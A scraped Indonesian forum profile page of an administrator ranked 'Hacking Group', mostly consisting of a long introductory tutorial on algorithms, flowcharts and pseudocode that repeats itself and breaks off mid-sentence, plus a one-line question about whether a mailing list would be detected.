Zeero

Administrators
  • Content count

    30
  • Joined

  • LAST SEEN

  • Days Won

    2

Zeero last won the day on July 3

Zeero had the most liked content!

Community Reputation

11 Baik

About Zeero

  • Rank
    Hacking Group
  • Birthday January 19

Informasi Pribadi

  • Tentang Saya
    Founder at Mobilib

Recent Profile Visitors

230 profile views
  1. itu mailist nya bakal ke detect gak ?
  2. 1. Apakah Itu Algoritma Ditinjau dari asal-usul katanya, kata Algoritma sendiri mempunyai sejarah yang aneh. Orang hanya menemukan kata algorism yang berarti proses menghitung dengan angka arab. Anda dikatakan algorist jika Anda menghitung menggunakan angka arab. Para ahli bahasa berusaha menemukan asal kata ini namun hasilnya kurang memuaskan. Akhirnya para ahli sejarah matematika menemukan asal kata tersebut yang berasal dari nama penulis buku arab yang terkenal yaitu Abu Ja’far Muhammad Ibnu Musa Al-Khuwarizmi. Al-Khuwarizmi dibaca orang barat menjadi Algorism. Al-Khuwarizmi menulis buku yang berjudul Kitab Al Jabar Wal-Muqabala yang artinya “Buku pemugaran dan pengurangan” (The book of restoration and reduction). Dari judul buku itu kita juga memperoleh akar kata “Aljabar” (Algebra). Perubahan kata dari algorism menjadi algorithm muncul karena kata algorism sering dikelirukan dengan arithmetic, sehingga akhiran –sm berubah menjadi –thm. Karena perhitungan dengan angka Arab sudah menjadi hal yang biasa, maka lambat laun kata algorithm berangsur-angsur dipakai sebagai metode perhitungan (komputasi) secara umum, sehingga kehilangan makna kata aslinya. Dalam bahasa Indonesia, kata algorithm diserap menjadi algoritma. 2. Definisi Algoritma “Algoritma adalah urutan langkah-langkah logis penyelesaian masalah yang disusun secara sistematis dan logis”. Kata logis merupakan kata kunci dalam algoritma. Langkah-langkah dalam algoritma harus logis dan harus dapat ditentukan bernilai salah atau benar. Dalam beberapa konteks, algoritma adalah spesifikasi urutan langkah untuk melakukan pekerjaan tertentu. Pertimbangan dalam pemilihan algoritma adalah, pertama, algoritma haruslah benar. Artinya algoritma akan memberikan keluaran yang dikehendaki dari sejumlah masukan yang diberikan. Tidak peduli sebagus apapun algoritma, kalau memberikan keluaran yang salah, pastilah algoritma tersebut bukanlah algoritma yang baik. Pertimbangan kedua yang harus diperhatikan adalah kita harus mengetahui seberapa baik hasil yang dicapai oleh algoritma tersebut. Hal ini penting terutama pada algoritma untuk menyelesaikan masalah yang memerlukan aproksimasi hasil (hasil yang hanya berupa pendekatan). Algoritma yang baik harus mampu memberikan hasil yang sedekat mungkin dengan nilai yang sebenarnya. Ketiga adalah efisiensi algoritma. Efisiensi algoritma dapat ditinjau dari 2 hal yaitu efisiensi waktu dan memori. Meskipun algoritma memberikan keluaran yang benar (paling mendekati), tetapi jika kita harus menunggu berjam-jam untuk mendapatkan keluarannya, algoritma tersebut biasanya tidak akan dipakai, setiap orang menginginkan keluaran yang cepat. Begitu juga dengan memori, semakin besar memori yang terpakai maka semakin buruklah algoritma tersebut. Dalam kenyataannya, setiap orang bisa membuat algoritma yang berbeda untuk menyelesaikan suatu permasalahan, walaupun terjadi perbedaan dalam menyusun algoritma, tentunya kita mengharapkan keluaran yang sama. Jika terjadi demikian, carilah algoritma yang paling efisien dan cepat. 3. Beda Algoritma dan Program Program adalah kumpulan pernyataan komputer, sedangkan metode dan tahapan sistematis dalam program adalah algoritma. Program ditulis dengan menggunakan bahasa pemrograman. Jadi bisa disebut bahwa program adalah suatu implementasi dari bahasa pemrograman. Beberapa pakar memberi formula bahwa : Program = Algoritma + Bahasa (Struktur Data) Bagaimanapun juga struktur data dan algoritma berhubungan sangat erat pada sebuah program. Algoritma yang baik tanpa pemilihan struktur data yang tepat akan membuat program menjadi kurang baik, demikian juga sebaliknya. Pembuatan algoritma mempunyai banyak keuntungan di antaranya : Pembuatan atau penulisan algoritma tidak tergantung pada bahasa pemrograman manapun, artinya penulisan algoritma independen dari bahasa pemrograman dan komputer yang melaksanakannya. Notasi algoritma dapat diterjemahkan ke dalam berbagai bahasa pemrograman. Apapun bahasa pemrogramannya, output yang akan dikeluarkan sama karena algoritmanya sama. Beberapa hal yang perlu diperhatikan dalam membuat algoritma : Teks algoritma berisi deskripsi langkah-langkah penyelesaian masalah. Deskripsi tersebut dapat ditulis dalam notasi apapun asalkan mudah dimengerti dan dipahami. Tidak ada notasi yang baku dalam penulisan teks algoritma seperti notasi bahasa pemrograman. Notasi yang digunakan dalam menulis algoritma disebut notasi algoritmik. Setiap orang dapat membuat aturan penulisan dan notasi algoritmik sendiri. Hal ini dikarenakan teks algoritma tidak sama dengan teks program. Namun, supaya notasi algoritmik mudah ditranslasikan ke dalam notasi bahasa pemrograman tertentu, maka sebaiknya notasi algoritmik tersebut berkorespondensi dengan notasi bahasa pemrograman secara umum. Notasi algoritmik bukan notasi bahasa pemrograman, karena itu pseudocode dalam notasi algoritmik tidak dapat dijalankan oleh komputer. Agar dapat dijalankan oleh komputer, pseudocode dalam notasi algoritmik harus ditranslasikan atau diterjemahkan ke dalam notasi bahasa pemrograman yang dipilih. Perlu diingat bahwa orang yang menulis program sangat terikat dalam aturan tata bahasanya dan spesifikasi mesin yang menjalannya. Algoritma sebenarnya digunakan untuk membantu kita dalam mengkonversikan suatu permasalahan ke dalam bahasa pemrograman. Algoritma merupakan hasil pemikiran konseptual, supaya dapat dilaksanakan oleh komputer, algoritma harus ditranslasikan ke dalam notasi bahasa pemrograman. Ada beberapa hal yang harus diperhatikan pada translasi tersebut, yaitu : a. Pendeklarasian variabel Untuk mengetahui dibutuhkannya pendeklarasian variabel dalam penggunaan bahasa pemrograman apabila tidak semua bahasa pemrograman membutuhkannya. b. Pemilihan tipe data Apabila bahasa pemrograman yang akan digunakan membutuhkan pendeklarasian variabel maka perlu hal ini dipertimbangkan pada saat pemilihan tipe data. c. Pemakaian instruksi-instruksi Beberapa instruksi mempunyai kegunaan yang sama tetapi masing-masing memiliki kelebihan dan kekurangan yang berbeda. d. Aturan sintaksis Pada saat menuliskan program kita terikat dengan aturan sintaksis dalam bahasa pemrograman yang akan digunakan. e. Tampilan hasil Pada saat membuat algoritma kita tidak memikirkan tampilan hasil yang akan disajikan. Hal-hal teknis ini diperhatikan ketika mengkonversikannya menjadi program. f. Cara pengoperasian compiler atau interpreter. Bahasa pemrograman yang digunakan termasuk dalam kelompok compiler atau interpreter. 4. Algoritma Merupakan Jantung Ilmu Informatika Algoritma adalah jantung ilmu komputer atau informatika. Banyak cabang ilmu komputer yang mengarah ke dalam terminologi algoritma. Namun, jangan beranggapan algoritma selalu identik dengan ilmu komputer saja. Dalam kehidupan sehari-hari pun banyak terdapat proses yang dinyatakan dalam suatu algoritma. Cara-cara membuat kue atau masakan yang dinyatakan dalam suatu resep juga dapat disebut sebagai algoritma. Pada setiap resep selalu ada urutan langkah-langkah membuat masakan. Bila langkah-langkahnya tidak logis, tidak dapat dihasilkan masakan yang diinginkan. Ibu-ibu yang mencoba suatu resep masakan akan membaca satu per satu langkah-langkah pembuatannya lalu ia mengerjakan proses sesuai yang ia baca. Secara umum, pihak (benda) yang mengerjakan proses disebut pemroses (processor). Pemroses tersebut dapat berupa manusia, komputer, robot atau alat-alat elektronik lainnya. Pemroses melakukan suatu proses dengan melaksanakan atau “mengeksekusi” algoritma yang menjabarkan proses tersebut. Algoritma adalah deskripsi dari suatu pola tingkah laku yang dinyatakan secara primitif yaitu aksi-aksi yang didefenisikan sebelumnya dan diberi nama, dan diasumsikan sebelumnya bahwa aksi-aksi tersebut dapat kerjakan sehingga dapat menyebabkan kejadian. Melaksanakan algoritma berarti mengerjakan langkah-langkah di dalam algoritma tersebut. Pemroses mengerjakan proses sesuai dengan algoritma yang diberikan kepadanya. Juru masak membuat kue berdasarkan resep yang diberikan kepadanya, pianis memainkan lagu berdasarkan papan not balok. Karena itu suatu algoritma harus dinyatakan dalam bentuk yang dapat dimengerti oleh pemroses. Jadi suatu pemroses harus: Mengerti setiap langkah dalam algoritma. Mengerjakan operasi yang bersesuaian dengan langkah tersebut. 5. Mekanisme Pelaksanaan Algoritma oleh Pemroses Komputer hanyalah salah satu pemroses. Agar dapat dilaksanakan oleh komputer, algoritma harus ditulis dalam notasi bahasa pemrograman sehingga dinamakan program. Jadi program adalah perwujudan atau implementasi teknis algoritma yang ditulis dalam bahasa pemrograman tertentu sehingga dapat dilaksanakan oleh komputer. Kata “algoritma” dan “program” seringkali dipertukarkan dalam penggunaannya. Misalnya ada orang yang berkata seperti ini: “program pengurutan data menggunakan algoritma selection sort”. Atau pertanyaan seperti ini: “bagaimana algoritma dan program menggambarkan grafik tersebut?”. Jika Anda sudah memahami pengertian algoritma yang sudah disebutkan sebelum ini, Anda dapat membedakan arti kata algoritma dan program. Algoritma adalah langkah-langkah penyelesaikan masalah, sedangkan program adalah realisasi algoritma dalam bahasa pemrograman. Program ditulis dalam salah satu bahasa pemrograman dan kegiatan membuat program disebut pemrograman (programming). Orang yang menulis program disebut pemrogram (programmer). Tiap-tiap langkah di dalam program disebut pernyataan atau instruksi. Jadi, program tersusun atas sederetan instruksi. Bila suatu instruksi dilaksanakan, maka operasi-operasi yang bersesuaian dengan instruksi tersebut dikerjakan komputer. Secara garis besar komputer tersusun atas empat komponen utama yaitu, piranti masukan, piranti keluaran, unit pemroses utama, dan memori. Unit pemroses utama (Central Processing Unit – CPU) adalah “otak” komputer, yang berfungsi mengerjakan operasi-operasi dasar seperti operasi perbandingan, operasi perhitungan, operasi membaca, dan operasi menulis. Memori adalah komponen yang berfungsi menyimpan atau mengingatingat. Yang disimpan di dalam memori adalah program (berisi operasi-operasi yang akan dikerjakan oleh CPU) dan data atau informasi (sesuatu yang diolah oleh operasi-operasi). Piranti masukan dan keluaran (I/O devices) adalah alat yang memasukkan data atau program ke dalam memori, dan alat yang digunakan komputer untuk mengkomunikasikan hasil-hasil aktivitasnya. Contoh piranti masukan antara lain, papan kunci (keyboard), pemindai (scanner), dan cakram (disk). Contoh piranti keluaran adalah, layar peraga (monitor), pencetak (printer), dan cakram. Mekanisme kerja keempat komponen di atas dapat dijelaskan sebagai berikut. Mula-mula program dimasukkan ke dalam memori komputer. Ketika program dilaksanakan (execute), setiap instruksi yang telah tersimpan di dalam memori dikirim ke CPU. CPU mengerjakan operasioperasi yang bersesuaian dengan instruksi tersebut. Bila suatu operasi memerlukan data, data dibaca dari piranti masukan, disimpan di dalam memori lalu dikirim ke CPU untuk operasi yang memerlukannya tadi. Bila proses menghasilkan keluaran atau informasi, keluaran disimpan ke dalam memori, lalu memori menuliskan keluaran tadi ke piranti keluaran (misalnya dengan menampilkannya di layar monitor). 6. Belajar Memprogram dan Belajar Bahasa Pemrograman Belajar memprogram tidak sama dengan belajar bahasa pemrograman. Belajar memprogram adalah belajar tentang metodologi pemecahan masalah, kemudian menuangkannya dalam suatu notasi tertentu yang mudah dibaca dan dipahami. Sedangkan belajar bahasa pemrograman berarti belajar memakai suatu bahasa aturan-aturan tata bahasanya, pernyataan-pernyataannya, tata cara pengoperasian compiler-nya, dan memanfaatkan pernyataan-pernyataan tersebut untuk membuat program yang ditulis hanya dalam bahasa itu saja. Sampai saat ini terdapat puluhan bahasa pemrogram, antara lain bahasa rakitan (assembly), Fortran, Cobol, Ada, PL/I, Algol, Pascal, C, C++, Basic, Prolog, LISP, PRG, bahasabahasa simulasi seperti CSMP, Simscript, GPSS, Dinamo. Berdasarkan terapannya, bahasa pemrograman dapat digolongkan atas dua kelompok besar : Bahasa pemrograman bertujuan khusus. Yang termasuk kelompok ini adalah Cobol (untuk terapan bisnis dan administrasi). Fortran (terapan komputasi ilmiah), bahasa rakitan (terapan pemrograman mesin), Prolog (terapan kecerdasan buatan), bahasa-bahasa simulasi, dan sebagainya. Bahasa perograman bertujuan umum, yang dapat digunakan untuk berbagai aplikasi. Yang termasuk kelompok ini adalah bahasa Pascal, Basic dan C. Tentu saja pembagian ini tidak kaku. Bahasabahasabertujuan khusus tidak berarti tidak bisa digunakan untuk aplikasi lain. Cobol misalnya, dapat juga digunakan untuk terapan ilmiah, hanya saja kemampuannya terbatas. Yang jelas, bahasabahasa pemrograman yang berbeda dikembangkan untuk bermacam-macam terapan yang berbeda pula. Berdasarkan pada apakah notasi bahasa pemrograman lebih “dekat” ke mesin atau ke bahasa manusia, maka bahasa pemrograman dikelompokkan atas dua macam : Bahasa tingkat rendah. Bahasa jenis ini dirancang agar setiap instruksinya langsung dikerjakan oleh komputer, tanpa harus melalui penerjemah (translator). Contohnya adalah bahasa mesin. CPU mengambil instruksi dari memori, langsung mengerti dan langsung mengerjakan operasinya. Bahasa tingkat rendah bersifat primitif, sangat sederhana, orientasinya lebih dekat ke mesin, dan sulit dipahami manusia. Sedangkan bahasa rakitan dimasukkan ke dalam kelompok ini karena alasan notasi yang dipakai dalam bahasa ini lebih dekat ke mesin, meskipun untuk melaksanakan instruksinya masih perlu penerjemahan ke dalam bahasa mesin. Bahasa tingkat tinggi, yang membuat pemrograman lebih mudah dipahami, lebih “manusiawi”, dan berorientasi ke bahasa manusia (bahasa Inggris). Hanya saja, program dalam bahasa tingkat tinggi tidak dapat langsung dilaksanakan oleh komputer. Ia perlu diterjemahkan terlebih dahulu oleh sebuah translator bahasa (yang disebut kompilator atau compiler) ke dalam bahasa mesin sebelum akhirnya dieksekusi oleh CPU. Contoh bahasa tingkat tinggi adalah Pascal, PL/I, Ada, Cobol, Basic, Fortran, C, C++, dan sebagainya. Bahasa pemrograman bisa juga dikelompokkan berdasarkan pada tujuan dan fungsinya. Di antaranya adalah : 7. Menilai Sebuah Algoritma Ketika manusia berusaha memecahkan masalah, metode atau teknik yang digunakan untuk memecahkan masalah itu ada kemungkinan bisa banyak (tidak hanya satu). Dan kita memilih mana yang terbaik di antara teknikteknik itu. Hal ini sama juga dengan algoritma, yang memungkinkan suatu permasalahan dipecahkan dengan metode dan logika yang berlainan. Yang menjadi pertanyaan adalah bagaimana mengukur mana algoritma yang terbaik?. Beberapa persyaratan untuk menjadi algoritma yang baik adalah : Tingkat kepercayaannya tinggi (realibility). Hasil yang diperoleh dari proses harus berakurasi tinggi dan benar. Pemrosesan yang efisien (cost rendah). Proses harus diselesaikan secepat mungkin dan frekuensi kalkulasi yang sependek mungkin. Sifatnya general. Bukan sesuatu yang hanya untuk menyelesaikan satu kasus saja, tapi juga untuk kasus lain yang lebih general. Bisa dikembangkan (expandable). Haruslah sesuatu yang dapat kita kembangkan lebih jauh berdasarkan perubahan requirement yang ada. Mudah dimengerti. Siapapun yang melihat, dia akan bisa memahami algoritma Anda. Susah dimengertinya suatu program akan membuat susah di-maintenance (kelola). Portabilitas yang tinggi (portability). Bisa dengan mudah diimplementasikan di berbagai platform komputer. Precise (tepat, betul, teliti). Setiap instruksi harus ditulis dengan seksama dan tidak ada keragu-raguan, dengan demikian setiap instruksi harus dinyatakan secara eksplisit dan tidak ada bagian yang dihilangkan karena pemroses dianggap sudah mengerti. Setiap langkah harus jelas dan pasti. Contoh : Tambahkan 1 atau 2 pada x. Instruksi di atas terdapat keraguan. Jumlah langkah atau instruksi berhingga dan tertentu. Artinya, untuk kasus yang sama banyaknya, langkah harus tetap dan tertentu meskipun datanya berbeda. Efektif. Tidak boleh ada instruksi yang tidak mungkin dikerjakan oleh pemroses yang akan menjalankannya. Contoh : Hitung akar 2 dengan presisi sempurna. Instruksi di atas tidak efektif, agar efektif instruksi tersebut diubah. Misal : Hitung akar 2 sampai lima digit di belakang koma. Harus terminate. Jalannya algoritma harus ada kriteria berhenti. Pertanyaannya adalah apakah bila jumlah instruksinya berhingga maka pasti terminate? Output yang dihasilkan tepat. Jika langkah-langkah algoritmanya logis dan diikuti dengan seksama maka dihasilkan output yang diinginkan. Sedangkan kriteria Algoritma menurut Donald E. Knuth adalah : Input: algoritma dapat memiliki nol atau lebih inputan dari luar. Output: algoritma harus memiliki minimal satu buah output keluaran. Definiteness (pasti): algoritma memiliki instruksi-instruksi yang jelas dan tidak ambigu. Finiteness (ada batas): algoritma harus memiliki titik berhenti (stopping role). Effectiveness (tepat dan efisien): algoritma sebisa mungkin harus dapat dilaksanakan dan efektif. Contoh instruksi yang tidak efektif adalah: A = A + 0 atau A = A * 1 Namun ada beberapa program yang memang dirancang untuk unterminatable : contoh Sistem Operasi. 8. Penyajian Algoritma Penyajian algoritma secara garis besar bisa dalam 2 bentuk penyajian yaitu tulisan dan gambar. Algoritma yang disajikan dengan tulisan yaitu dengan struktur bahasa tertentu (misalnya bahasa Indonesia atau bahasa Inggris) dan pseudocode. Pseudocode adalah kode yang mirip dengan kode pemrograman yang sebenarnya seperti Pascal, atau C, sehingga lebih tepat digunakan untuk menggambarkan algoritma yang akan dikomunikasikan kepada pemrogram. Sedangkan algoritma disajikan dengan gambar, misalnya dengan flowchart. Secara umum, pseudocode mengekspresikan ide-ide secara informal dalam proses penyusunan algoritma. Salah satu cara untuk menghasilkan kode pseudo adalah dengan meregangkan aturan-aturan bahasa formal yang dengannya versi akhir dari algoritma akan diekspresikan. Pendekatan ini umumnya digunakan ketika bahasa pemrograman yang akan digunakan telah diketahui sejak awal. Flowchart merupakan gambar atau bagan yang memperlihatkan urutan dan hubungan antar proses beserta pernyataannya. Gambaran ini dinyatakan dengan simbol. Dengan demikian setiap simbol menggambarkan proses tertentu. Sedangkan antara proses digambarkan dengan garis penghubung. Dengan menggunakan flowchart akan memudahkan kita untuk melakukan pengecekan bagian-bagian yang terlupakan dalam analisis masalah. Di samping itu flowchart juga berguna sebagai fasilitas untuk berkomunikasi antara pemrogram yang bekerja dalam tim suatu proyek. Ada dua macam flowchart yang menggambarkan proses dengan komputer, yaitu : Flowchart sistem yaitu bagan dengan simbol-simbol tertentu yang menggambarkan urutan prosedur dan proses suatu file dalam suatu media menjadi file di dalam media lain, dalam suatu sistem pengolahan data. Beberapa contoh Flowchart sistem: Flowchart program yaitu bagan dengan simbol-simbol tertentu yang menggambarkan urutan proses dan hubungan antar proses secara mendetail di dalam suatu program. Kaidah-Kaidah Umum Pembuatan Flowchart Program Dalam pembuatan flowchart Program tidak ada rumus atau patokan yang bersifat mutlak. Karena flowchart merupakan gambaran hasil pemikiran dalam menganalisis suatu masalah dengan komputer. Sehingga flowchart yang dihasilkan dapat bervariasi antara satu pemrogram dengan yang lainnya. Namun secara garis besar setiap pengolahan selalu terdiri atas 3 bagian utama, yaitu : Input, Proses pengolahan dan Output Untuk pengolahan data dengan komputer, urutan dasar pemecahan suatu masalah: START, berisi pernyataan untuk persiapan peralatan yang diperlukan sebelum menangani pemecahan persoalan. READ, berisi pernyataan kegiatan untuk membaca data dari suatu peralatan input. PROSES, berisi kegiatan yang berkaitan dengan pemecahan persoalan sesuai dengan data yang dibaca. WRITE, berisi pernyataan untuk merekam hasil kegiatan ke peralatan output. END, mengakhiri kegiatan pengolahan. Walaupun tidak ada kaidah-kaidah yang baku dalam penyusunan flowchart, namun ada beberapa anjuran : Hindari pengulangan proses yang tidak perlu dan logika yang berbelit sehingga jalannya proses menjadi singkat. Jalannya proses digambarkan dari atas ke bawah dan diberikan tanda panah untuk memperjelas. Sebuah flowchart diawali dari satu titik START dan diakhiri dengan END. Berikut merupakan beberapa contoh simbol flowchart yang disepakati oleh dunia pemrograman : Untuk memahami lebih dalam mengenai flowchart ini, akan diambil sebuah kasus sederhana. Kasus : Buatlah sebuah rancangan program dengan menggunakan flowchart, mencari luas persegi panjang. Solusi : Perumusan untuk mencari luas persegi panjang adalah : L = p . l di mana, L adalah Luas persegi panjang, p adalah panjang persegi, dan l adalah lebar persegi. Keterangan : Simbol pertama menunjukkan dimulainya sebuah program. Simbol kedua menunjukkan bahwa input data dari p dan l. Data dari p dan l akan diproses pada simbol ketiga dengan menggunakan perumusan L = p. l. Simbol keempat menunjukkan hasil output dari proses dari simbol ketiga. Simbol kelima atau terakhir menunjukkan berakhirnya program dengan tanda End. 9. Struktur Dasar Algoritma Algoritma berisi langkah-langkah penyelesaian suatu masalah. Langkah-langkah tersebut dapat berupa runtunan aksi (sequence), pemilihan aksi (selection), pengulangan aksi (iteration) atau kombinasi dari ketiganya. Jadi struktur dasar pembangunan algoritma ada tiga, yaitu: Struktur Runtunan Digunakan untuk program yang pernyataannya sequential atau urutan. Struktur Pemilihan Digunakan untuk program yang menggunakan pemilihan atau penyeleksian kondisi. Struktur Perulangan Digunakan untuk program yang pernyataannya akan dieksekusi berulang-ulang. Dalam Algoritma, tidak dipakai simbol-simbol / sintaks dari suatu bahasa pemrograman tertentu, melainkan bersifat umum dan tidak tergantung pada suatu bahasa pemrograman apapun juga. Notasi-notasi algoritma dapat digunakan untuk seluruh bahasa pemrograman manapun. Definisi Pseudo-code Kode atau tanda yang menyerupai (pseudo) atau merupakan penjelasan cara menyelesaikan suatu masalah. Pseudo-code sering digunakan oleh manusia untuk menuliskan algoritma. Contoh kasus : mencari bilangan terbesar dari dua bilangan yang diinputkan Solusi Pseudo-code : Masukkan bilangan pertama Masukkan bilangan kedua Jika bilangan pertama > bilangan kedua maka kerjakan langkah 4, jika tidak, kerjakan langkah 5. Tampilkan bilangan pertama Tampilkan bilangan kedua Solusi Algoritma : Masukkan bilangan pertama (a) Masukkan bilangan kedua (b) if a > b then kerjakan langkah 4 print a print b Contoh Lain Algortima dan Pseudo-code : 10. Tahapan dalam Pemrograman Langkah-langkah yang dilakukan dalam menyelesaikan masalah dalam pemrograman dengan komputer adalah : Definisikan Masalah Buat Algoritma dan Struktur Cara Penyelesaian Menulis Program Mencari Kesalahan Uji dan Verifikasi Program Dokumentasi Program Pemeliharaan Program Algoritma dan Pemrograman 1. Apakah Itu Algoritma Ditinjau dari asal-usul katanya, kata Algoritma sendiri mempunyai sejarah yang aneh. Orang hanya menemukan kata algorism yang berarti proses menghitung dengan angka arab. Anda dikatakan algorist jika Anda menghitung menggunakan angka arab. Para ahli bahasa berusaha menemukan asal kata ini namun hasilnya kurang memuaskan. Akhirnya para ahli sejarah matematika menemukan asal kata tersebut yang berasal dari nama penulis buku arab yang terkenal yaitu Abu Ja’far Muhammad Ibnu Musa Al-Khuwarizmi. Al-Khuwarizmi dibaca orang barat menjadi Algorism. Al-Khuwarizmi menulis buku yang berjudul Kitab Al Jabar Wal-Muqabala yang artinya “Buku pemugaran dan pengurangan” (The book of restoration and reduction). Dari judul buku itu kita juga memperoleh akar kata “Aljabar” (Algebra). Perubahan kata dari algorism menjadi algorithm muncul karena kata algorism sering dikelirukan dengan arithmetic, sehingga akhiran –sm berubah menjadi –thm. Karena perhitungan dengan angka Arab sudah menjadi hal yang biasa, maka lambat laun kata algorithm berangsur-angsur dipakai sebagai metode perhitungan (komputasi) secara umum, sehingga kehilangan makna kata aslinya. Dalam bahasa Indonesia, kata algorithm diserap menjadi algoritma. 2. Definisi Algoritma “Algoritma adalah urutan langkah-langkah logis penyelesaian masalah yang disusun secara sistematis dan logis”. Kata logis merupakan kata kunci dalam algoritma. Langkah-langkah dalam algoritma harus logis dan harus dapat ditentukan bernilai salah atau benar. Dalam beberapa konteks, algoritma adalah spesifikasi urutan langkah untuk melakukan pekerjaan tertentu. Pertimbangan dalam pemilihan algoritma adalah, pertama, algoritma haruslah benar. Artinya algoritma akan memberikan keluaran yang dikehendaki dari sejumlah masukan yang diberikan. Tidak peduli sebagus apapun algoritma, kalau memberikan keluaran yang salah, pastilah algoritma tersebut bukanlah algoritma yang baik. Pertimbangan kedua yang harus diperhatikan adalah kita harus mengetahui seberapa baik hasil yang dicapai oleh algoritma tersebut. Hal ini penting terutama pada algoritma untuk menyelesaikan masalah yang memerlukan aproksimasi hasil (hasil yang hanya berupa pendekatan). Algoritma yang baik harus mampu memberikan hasil yang sedekat mungkin dengan nilai yang sebenarnya. Ketiga adalah efisiensi algoritma. Efisiensi algoritma dapat ditinjau dari 2 hal yaitu efisiensi waktu dan memori. Meskipun algoritma memberikan keluaran yang benar (paling mendekati), tetapi jika kita harus menunggu berjam-jam untuk mendapatkan keluarannya, algoritma tersebut biasanya tidak akan dipakai, setiap orang menginginkan keluaran yang cepat. Begitu juga dengan memori, semakin besar memori yang terpakai maka semakin buruklah algoritma tersebut. Dalam kenyataannya, setiap orang bisa membuat algoritma yang berbeda untuk menyelesaikan suatu permasalahan, walaupun terjadi perbedaan dalam menyusun algoritma, tentunya kita mengharapkan keluaran yang sama. Jika terjadi demikian, carilah algoritma yang paling efisien dan cepat. 3. Beda Algoritma dan Program Program adalah kumpulan pernyataan komputer, sedangkan metode dan tahapan sistematis dalam program adalah algoritma. Program ditulis dengan menggunakan bahasa pemrograman. Jadi bisa disebut bahwa program adalah suatu implementasi dari bahasa pemrograman. Beberapa pakar memberi formula bahwa : Program = Algoritma + Bahasa (Struktur Data) Bagaimanapun juga struktur data dan algoritma berhubungan sangat erat pada sebuah program. Algoritma yang baik tanpa pemilihan struktur data yang tepat akan membuat program menjadi kurang baik, demikian juga sebaliknya. Pembuatan algoritma mempunyai banyak keuntungan di antaranya : Pembuatan atau penulisan algoritma tidak tergantung pada bahasa pemrograman manapun, artinya penulisan algoritma independen dari bahasa pemrograman dan komputer yang melaksanakannya. Notasi algoritma dapat diterjemahkan ke dalam berbagai bahasa pemrograman. Apapun bahasa pemrogramannya, output yang akan dikeluarkan sama karena algoritmanya sama. Beberapa hal yang perlu diperhatikan dalam membuat algoritma : Teks algoritma berisi deskripsi langkah-langkah penyelesaian masalah. Deskripsi tersebut dapat ditulis dalam notasi apapun asalkan mudah dimengerti dan dipahami. Tidak ada notasi yang baku dalam penulisan teks algoritma seperti notasi bahasa pemrograman. Notasi yang digunakan dalam menulis algoritma disebut notasi algoritmik. Setiap orang dapat membuat aturan penulisan dan notasi algoritmik sendiri. Hal ini dikarenakan teks algoritma tidak sama dengan teks program. Namun, supaya notasi algoritmik mudah ditranslasikan ke dalam notasi bahasa pemrograman tertentu, maka sebaiknya notasi algoritmik tersebut berkorespondensi dengan notasi bahasa pemrograman secara umum. Notasi algoritmik bukan notasi bahasa pemrograman, karena itu pseudocode dalam notasi algoritmik tidak dapat dijalankan oleh komputer. Agar dapat dijalankan oleh komputer, pseudocode dalam notasi algoritmik harus ditranslasikan atau diterjemahkan ke dalam notasi bahasa pemrograman yang dipilih. Perlu diingat bahwa orang yang menulis program sangat terikat dalam aturan tata bahasanya dan spesifikasi mesin yang menjalannya. Algoritma sebenarnya digunakan untuk membantu kita dalam mengkonversikan suatu permasalahan ke dalam bahasa pemrograman. Algoritma merupakan hasil pemikiran konseptual, supaya dapat dilaksanakan oleh komputer, algoritma harus ditranslasikan ke dalam notasi bahasa pemrograman. Ada beberapa hal yang harus diperhatikan pada translasi tersebut, yaitu : a. Pendeklarasian variabel Untuk mengetahui dibutuhkannya pendeklarasian variabel dalam penggunaan bahasa pemrograman apabila tidak semua bahasa pemrograman membutuhkannya. b. Pemilihan tipe data Apabila bahasa pemrograman yang akan digunakan membutuhkan pendeklarasian variabel maka perlu hal ini dipertimbangkan pada saat pemilihan tipe data. c. Pemakaian instruksi-instruksi Beberapa instruksi mempunyai kegunaan yang sama tetapi masing-masing memiliki kelebihan dan kekurangan yang berbeda. d. Aturan sintaksis Pada saat menuliskan program kita terikat dengan aturan sintaksis dalam bahasa pemrograman yang akan digunakan. e. Tampilan hasil Pada saat membuat algoritma kita tidak memikirkan tampilan hasil yang akan disajikan. Hal-hal teknis ini diperhatikan ketika mengkonversikannya menjadi program. f. Cara pengoperasian compiler atau interpreter. Bahasa pemrograman yang digunakan termasuk dalam kelompok compiler atau interpreter. 4. Algoritma Merupakan Jantung Ilmu Informatika Algoritma adalah jantung ilmu komputer atau informatika. Banyak cabang ilmu komputer yang mengarah ke dalam terminologi algoritma. Namun, jangan beranggapan algoritma selalu identik dengan ilmu komputer saja. Dalam kehidupan sehari-hari pun banyak terdapat proses yang dinyatakan dalam suatu algoritma. Cara-cara membuat kue atau masakan yang dinyatakan dalam suatu resep juga dapat disebut sebagai algoritma. Pada setiap resep selalu ada urutan langkah-langkah membuat masakan. Bila langkah-langkahnya tidak logis, tidak dapat dihasilkan masakan yang diinginkan. Ibu-ibu yang mencoba suatu resep masakan akan membaca satu per satu langkah-langkah pembuatannya lalu ia mengerjakan proses sesuai yang ia baca. Secara umum, pihak (benda) yang mengerjakan proses disebut pemroses (processor). Pemroses tersebut dapat berupa manusia, komputer, robot atau alat-alat elektronik lainnya. Pemroses melakukan suatu proses dengan melaksanakan atau “mengeksekusi” algoritma yang menjabarkan proses tersebut. Algoritma adalah deskripsi dari suatu pola tingkah laku yang dinyatakan secara primitif yaitu aksi-aksi yang didefenisikan sebelumnya dan diberi nama, dan diasumsikan sebelumnya bahwa aksi-aksi tersebut dapat kerjakan sehingga dapat menyebabkan kejadian. Melaksanakan algoritma berarti mengerjakan langkah-langkah di dalam algoritma tersebut. Pemroses mengerjakan proses sesuai dengan algoritma yang diberikan kepadanya. Juru masak membuat kue berdasarkan resep yang diberikan kepadanya, pianis memainkan lagu berdasarkan papan not balok. Karena itu suatu algoritma harus dinyatakan dalam bentuk yang dapat dimengerti oleh pemroses. Jadi suatu pemroses harus: Mengerti setiap langkah dalam algoritma. Mengerjakan operasi yang bersesuaian dengan langkah tersebut. 5. Mekanisme Pelaksanaan Algoritma oleh Pemroses Komputer hanyalah salah satu pemroses. Agar dapat dilaksanakan oleh komputer, algoritma harus ditulis dalam notasi bahasa pemrograman sehingga dinamakan program. Jadi program adalah perwujudan atau implementasi teknis algoritma yang ditulis dalam bahasa pemrograman tertentu sehingga dapat dilaksanakan oleh komputer. Kata “algoritma” dan “program” seringkali dipertukarkan dalam penggunaannya. Misalnya ada orang yang berkata seperti ini: “program pengurutan data menggunakan algoritma selection sort”. Atau pertanyaan seperti ini: “bagaimana algoritma dan program menggambarkan grafik tersebut?”. Jika Anda sudah memahami pengertian algoritma yang sudah disebutkan sebelum ini, Anda dapat membedakan arti kata algoritma dan program. Algoritma 